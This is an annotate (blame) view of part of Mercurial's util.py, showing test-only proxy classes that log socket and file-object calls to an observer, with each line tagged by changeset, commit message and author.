9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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|
676 |
'send', |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
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changeset
|
677 |
'sendall', |
9f70512ae2cf
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parents:
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|
678 |
'sendto', |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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|
679 |
'setblocking', |
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Augie Fackler <augie@google.com>
parents:
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|
680 |
'settimeout', |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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|
681 |
'gettimeout', |
9f70512ae2cf
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
682 |
'setsockopt', |
37010
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util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
683 |
} |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
684 |
|
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parents:
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diff
changeset
|
685 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
686 |
class socketproxy(object): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
687 |
"""A proxy around a socket that tells a watcher when events occur. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
688 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
689 |
This is like ``fileobjectproxy`` except for sockets. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
690 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
691 |
This type is intended to only be used for testing purposes. Think hard |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
692 |
before using it in important code. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
693 |
""" |
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changeset
|
694 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
695 |
__slots__ = ( |
43506
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cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
696 |
'_orig', |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
697 |
'_observer', |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
698 |
) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
699 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
700 |
def __init__(self, sock, observer): |
43506
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cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
701 |
object.__setattr__(self, '_orig', sock) |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
702 |
object.__setattr__(self, '_observer', observer) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
703 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
704 |
def __getattribute__(self, name): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
705 |
if name in PROXIED_SOCKET_METHODS: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
706 |
return object.__getattribute__(self, name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
707 |
|
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
708 |
return getattr(object.__getattribute__(self, '_orig'), name) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
709 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
710 |
def __delattr__(self, name): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
711 |
return delattr(object.__getattribute__(self, '_orig'), name) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
712 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
713 |
def __setattr__(self, name, value): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
714 |
return setattr(object.__getattribute__(self, '_orig'), name, value) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
715 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
716 |
def __nonzero__(self): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
717 |
return bool(object.__getattribute__(self, '_orig')) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
718 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
719 |
__bool__ = __nonzero__ |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
720 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
721 |
def _observedcall(self, name, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
722 |
# Call the original object. |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
723 |
orig = object.__getattribute__(self, '_orig') |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
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diff
changeset
|
724 |
res = getattr(orig, name)(*args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
725 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
726 |
# Call a method on the observer of the same name with arguments |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
727 |
# so it can react, log, etc. |
43506
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cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
728 |
observer = object.__getattribute__(self, '_observer') |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
729 |
fn = getattr(observer, name, None) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
730 |
if fn: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
731 |
fn(res, *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
732 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
733 |
return res |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
734 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
735 |
def makefile(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
736 |
res = object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
737 |
'makefile', *args, **kwargs |
43076
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
738 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
739 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
740 |
# The file object may be used for I/O. So we turn it into a |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
741 |
# proxy using our observer. |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
742 |
observer = object.__getattribute__(self, '_observer') |
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
743 |
return makeloggingfileobject( |
2372284d9457
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parents:
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diff
changeset
|
744 |
observer.fh, |
2372284d9457
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
745 |
res, |
2372284d9457
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parents:
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diff
changeset
|
746 |
observer.name, |
2372284d9457
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parents:
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diff
changeset
|
747 |
reads=observer.reads, |
2372284d9457
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parents:
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diff
changeset
|
748 |
writes=observer.writes, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
749 |
logdata=observer.logdata, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
750 |
logdataapis=observer.logdataapis, |
2372284d9457
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
751 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
752 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
753 |
def recv(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
754 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
755 |
'recv', *args, **kwargs |
43076
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
756 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
757 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
758 |
def recvfrom(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
759 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
760 |
'recvfrom', *args, **kwargs |
43076
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
761 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
762 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
763 |
def recvfrom_into(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
764 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
765 |
'recvfrom_into', *args, **kwargs |
43076
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
766 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
767 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
768 |
def recv_into(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
769 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
770 |
'recv_info', *args, **kwargs |
43076
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
771 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
772 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
773 |
def send(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
774 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
775 |
'send', *args, **kwargs |
43076
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
776 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
777 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
778 |
def sendall(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
779 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
780 |
'sendall', *args, **kwargs |
43076
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formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
781 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
782 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
783 |
def sendto(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
784 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
785 |
'sendto', *args, **kwargs |
43076
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formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
786 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
787 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
788 |
def setblocking(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
789 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
790 |
'setblocking', *args, **kwargs |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
791 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
792 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
793 |
def settimeout(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
794 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
795 |
'settimeout', *args, **kwargs |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
796 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
797 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
798 |
def gettimeout(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
799 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
800 |
'gettimeout', *args, **kwargs |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
801 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
802 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
803 |
def setsockopt(self, *args, **kwargs): |
43506
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
804 |
return object.__getattribute__(self, '_observedcall')( |
9f70512ae2cf
cleanup: remove pointless r-prefixes on single-quoted strings
Augie Fackler <augie@google.com>
parents:
43494
diff
changeset
|
805 |
'setsockopt', *args, **kwargs |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
806 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
807 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
808 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
809 |
class baseproxyobserver(object): |
43920
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
810 |
def __init__(self, fh, name, logdata, logdataapis): |
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
811 |
self.fh = fh |
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
812 |
self.name = name |
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
813 |
self.logdata = logdata |
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
814 |
self.logdataapis = logdataapis |
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
815 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
816 |
def _writedata(self, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
817 |
if not self.logdata: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
818 |
if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
819 |
self.fh.write(b'\n') |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
820 |
self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
821 |
return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
822 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
823 |
# Simple case writes all data on a single line. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
824 |
if b'\n' not in data: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
825 |
if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
826 |
self.fh.write(b': %s\n' % stringutil.escapestr(data)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
827 |
else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
828 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
829 |
b'%s> %s\n' % (self.name, stringutil.escapestr(data)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
830 |
) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
831 |
self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
832 |
return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
833 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
834 |
# Data with newlines is written to multiple lines. |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
835 |
if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
836 |
self.fh.write(b':\n') |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
837 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
838 |
lines = data.splitlines(True) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
839 |
for line in lines: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
840 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
841 |
b'%s> %s\n' % (self.name, stringutil.escapestr(line)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
842 |
) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
843 |
self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
844 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
845 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
846 |
class fileobjectobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
847 |
"""Logs file object activity.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
848 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
849 |
def __init__( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
850 |
self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
851 |
): |
43920
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
852 |
super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
853 |
self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
854 |
self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
855 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
856 |
def read(self, res, size=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
857 |
if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
858 |
return |
36585
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
859 |
# Python 3 can return None from reads at EOF instead of empty strings. |
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
860 |
if res is None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
861 |
res = b'' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
862 |
|
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
863 |
if size == -1 and res == b'': |
38314
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
864 |
# Suppress pointless read(-1) calls that return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
865 |
# nothing. These happen _a lot_ on Python 3, and there |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
866 |
# doesn't seem to be a better workaround to have matching |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
867 |
# Python 2 and 3 behavior. :( |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
868 |
return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
869 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
870 |
if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
871 |
self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) |
